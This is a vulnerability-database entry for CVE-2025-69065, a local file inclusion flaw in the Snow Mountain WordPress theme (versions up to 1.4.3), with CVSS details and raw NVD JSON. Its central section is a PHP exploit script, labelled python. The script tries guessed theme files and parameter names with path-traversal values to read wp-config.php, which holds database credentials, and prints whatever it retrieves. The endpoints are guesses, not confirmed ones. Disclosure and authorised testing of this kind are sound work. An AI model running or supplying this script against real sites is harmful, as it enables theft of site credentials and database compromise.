Security Vulnerability Report
中文
CVE-2025-69065 CVSS 8.1 HIGH

CVE-2025-69065

Published: 2026-01-22 17:16:20
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Snow Mountain snowmountain allows PHP Local File Inclusion.This issue affects Snow Mountain: from n/a through <= 1.4.3.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

AncoraThemes Snow Mountain (snowmountain) <= 1.4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-69065 PoC - Snow Mountain Theme LFI * Affected: AncoraThemes Snow Mountain <= 1.4.3 * CVSS: 8.1 (High) * * Usage: php poc.php <target_url> [target_file] * Example: php poc.php http://target.com/wp-content/themes/snowmountain/ ../../wp-config * * Note: Adjust the vulnerable parameter name based on actual testing */ $targetUrl = $argv[1] ?? ''; $fileToRead = $argv[2] ?? '../../../wp-config.php'; if (empty($targetUrl)) { echo "Usage: php poc.php <target_url> [file_to_read]\n"; echo "Example: php poc.php http://target.com/wp-content/themes/snowmountain/ ../../wp-config.php\n"; exit(1); } // Common vulnerable endpoints in WordPress themes $vulnerablePaths = [ 'inc/template-tags.php', 'template-parts/section-hero.php', 'template.php', 'functions.php' ]; // Common parameter names used for file inclusion $paramNames = ['file', 'page', 'template', 'view', 'path', 'controller', 'action']; echo "[*] CVE-2025-69065 PoC - Snow Mountain LFI\n"; echo "[*] Target: $targetUrl\n"; echo "[*] File to read: $fileToRead\n\n"; foreach ($vulnerablePaths as $path) { foreach ($paramNames as $param) { $url = rtrim($targetUrl, '/') . '/' . $path . '?' . $param . '=' . urlencode($fileToRead); echo "[?] Testing: $url\n"; $context = stream_context_create([ 'http' => [ 'method' => 'GET', 'timeout' => 10, 'ignore_errors' => true ] ]); $response = @file_get_contents($url, false, $context); if ($response !== false && strpos($response, '<?php') !== false) { echo "[+] VULNERABLE! File content:\n"; echo str_repeat('-', 50) . "\n"; echo substr($response, 0, 2000); echo "\n" . str_repeat('-', 50) . "\n"; exit(0); } } } echo "[-] No vulnerable endpoint found. Manual testing may be required.\n"; echo "[-] Try manually accessing: {$targetUrl}?file=../../wp-config.php\n";

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69065", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:20.290", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Snow Mountain snowmountain allows PHP Local File Inclusion.This issue affects Snow Mountain: from n/a through <= 1.4.3."}, {"lang": "es", "value": "Control inadecuado del nombre de fichero para la declaración Include/Require en un programa PHP ('Inclusión Remota de Ficheros PHP') vulnerabilidad en AncoraThemes Snow Mountain snowmountain permite Inclusión Local de Ficheros PHP. Este problema afecta a Snow Mountain: desde n/a hasta &lt;= 1.4.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/snowmountain/vulnerability/wordpress-snow-mountain-theme-1-4-3-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}